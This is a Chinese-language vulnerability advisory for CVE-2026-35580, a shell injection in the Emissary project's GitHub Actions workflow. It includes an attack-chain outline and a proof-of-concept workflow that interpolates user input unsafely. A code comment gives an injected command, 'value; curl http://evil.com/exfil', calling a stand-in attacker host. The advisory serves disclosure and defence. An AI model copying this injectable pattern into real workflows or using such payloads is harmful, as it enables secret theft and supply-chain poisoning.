CVE-2026-35580 CVSS 9.1 严重

CVE-2026-35580 Emissary Shell注入漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-35580

漏洞类型

命令注入

CVSS评分

9.1 严重

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Emissary

漏洞概述

Emissary是一个基于P2P的数据驱动工作流引擎。在8.39.0版本之前，其GitHub Actions工作流文件中存在Shell注入漏洞。该漏洞源于将用户控制的workflow_dispatch输入直接通过${{ }}表达式语法插入到Shell命令中。拥有仓库写入权限的攻击者可以利用此漏洞注入任意Shell命令，导致仓库污染和供应链攻击，影响所有下游用户。该问题已在8.39.0版本中修复。

技术细节

该漏洞的根本原因在于GitHub Actions工作流配置中存在不安全的表达式插值。在Emissary项目受影响的版本中，开发者在定义工作流时，使用了workflow_dispatch事件来接收外部输入，并直接通过${{ github.event.inputs.xxx }}的语法将用户输入拼接到Shell执行命令中。由于GitHub Actions在将${{ }}表达式替换为实际值后，会将结果字符串传递给Shell解释器执行，且未对特殊字符进行转义，这导致了经典的命令注入漏洞。攻击者只需拥有仓库的写入权限，即可利用分号（;）、反引号（`）或$()等Shell元字符构造恶意Payload。一旦工作流被触发，这些恶意命令便会在Runner环境中执行。这不仅允许攻击者窃取Secrets、修改代码，还能进行供应链投毒，将恶意代码植入后续的发布版本中，从而对下游所有依赖该软件的用户造成广泛的安全威胁。

攻击链分析

STEP 1

获取权限

攻击者获得Emissary GitHub仓库的写入权限。

STEP 2

构造Payload

攻击者构造包含Shell命令注入字符的恶意输入数据。

STEP 3

触发工作流

攻击者通过GitHub界面或API手动触发workflow_dispatch事件。

STEP 4

注入执行

GitHub Actions将恶意输入插入Shell命令并执行任意代码。

STEP 5

供应链破坏

攻击者利用执行权限修改仓库代码或窃取凭证，影响下游用户。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Vulnerable Workflow Concept (CVE-2026-35580)
# An attacker with write access can trigger this workflow with malicious input.

name: Build Emissary
on:
  workflow_dispatch:
    inputs:
      config_option:
        description: 'Configuration option'
        required: true
        default: 'default_value'

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v3

      - name: Build with user input
        # VULNERABILITY: The input is interpolated directly into the shell command.
        # If input is: 'value; curl http://evil.com/exfil', the curl command will execute.
        run: |
          echo "Starting build with configuration: ${{ github.event.inputs.config_option }}"
          ./configure --opt="${{ github.event.inputs.config_option }}"
          make all

影响范围

Emissary < 8.39.0

防御指南

临时缓解措施

在升级之前，应立即禁用所有使用workflow_dispatch且包含不安全Shell插值的工作流。如果必须使用，请确保对输入进行严格的白名单验证，并在传递给Shell前进行适当的转义处理。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表